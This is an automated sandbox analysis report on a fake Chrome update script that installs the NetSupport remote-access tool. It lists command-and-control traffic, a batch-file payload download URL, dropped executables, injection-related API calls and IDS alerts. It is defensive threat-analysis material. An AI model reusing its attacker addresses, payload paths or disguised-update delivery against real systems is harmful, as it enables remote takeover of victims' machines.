Windows Analysis Report
Chrome_update(1).js

System process connects to network (likely due to code injection or exploit)

Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49706 version: TLS 1.2

Source:	Binary string: msvcr100.i386.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3591394075.0000000071691000.00000020.00000001.01000000.0000000B.sdmp, client32.exe, 00000016.00000002.1331482719.0000000071691000.00000020.00000001.01000000.0000000B.sdmp, client32.exe, 0000001D.00000002.1410159895.0000000071691000.00000020.00000001.01000000.0000000B.sdmp, msvcr100.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000000.1254567847.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000014.00000002.3568927747.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000000.1319389231.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000002.1325547573.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000001D.00000000.1403272833.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000001D.00000002.1406703924.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3593390511.0000000074792000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000016.00000002.1332392282.0000000074792000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 0000001D.00000002.1410894319.0000000074792000.00000002.00000001.01000000.0000000C.sdmp, PCICHEK.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3593104500.00000000745D5000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000016.00000002.1332246055.00000000745D5000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 0000001D.00000002.1410742299.00000000745D5000.00000002.00000001.01000000.0000000A.sdmp, pcicapi.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	17_2_0040B174
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B6E9 __EH_prolog,FindFirstFileW,GetCurrentDirectoryW,	17_2_0040B6E9
Source: C:\ProgramData\client32.exe	Code function: 20_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	20_2_111273E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102D9F4
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102DD21
Source: C:\ProgramData\client32.exe	Code function: 20_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	20_2_1110BD70

Networking

Source: C:\Windows\System32\wscript.exe

Network Connect: 188.127.230.147 443

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2827745 ETPRO TROJAN NetSupport RAT CnC Activity 192.168.2.8:49707 -> 94.158.247.23:5050

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050

Source: Joe Sandbox View	ASN Name: DHUBRU DHUBRU
Source: Joe Sandbox View	ASN Name: MIVOCLOUDMD MIVOCLOUDMD

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 62.172.138.8 62.172.138.8

Source: global traffic

HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673 HTTP/1.1Accept: */*Accept-Language: en-CH,en-US;q=0.8,en-GB;q=0.5,en;q=0.2UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mangoairsoft.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 94.158.247.23:5050

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 02 Aug 2023 08:31:00 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 02 Aug 2023 08:31:01 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 02 Aug 2023 08:31:01 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23

Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	String found in binary or memory: http://%s/testpage.htm
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: client32.exe, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://127.0.0.1
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: client32.exe, 00000014.00000002.3584235549.00000000058D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.247.23/fakeurl.htm
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: wscript.exe, 00000000.00000003.1319144623.000001F055A50000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1331277766.000001F055A52000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: client32.exe, 00000014.00000002.3574723113.000000000101E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3582970407.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3584644892.0000000005E20000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1566944145.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1566944145.0000000005742000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1566944145.000000000571E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1567379641.00000000056D1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3583431983.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1568358740.0000000005742000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000014.00000002.3582970407.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1567379641.00000000056D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp%
Source: client32.exe, 00000014.00000003.1568358740.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1566944145.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3583431983.000000000575D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp/
Source: client32.exe, 00000014.00000003.1567802083.000000000106D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3582970407.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1567379641.00000000056D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp7
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: client32.exe, 00000014.00000003.1568358740.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1566944145.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3583431983.000000000575D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspe
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://s2.symcb.com0
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://sf.symcd.com0&
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(L
Source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://www.netsupportsoftware.com
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.pci.co.uk/support
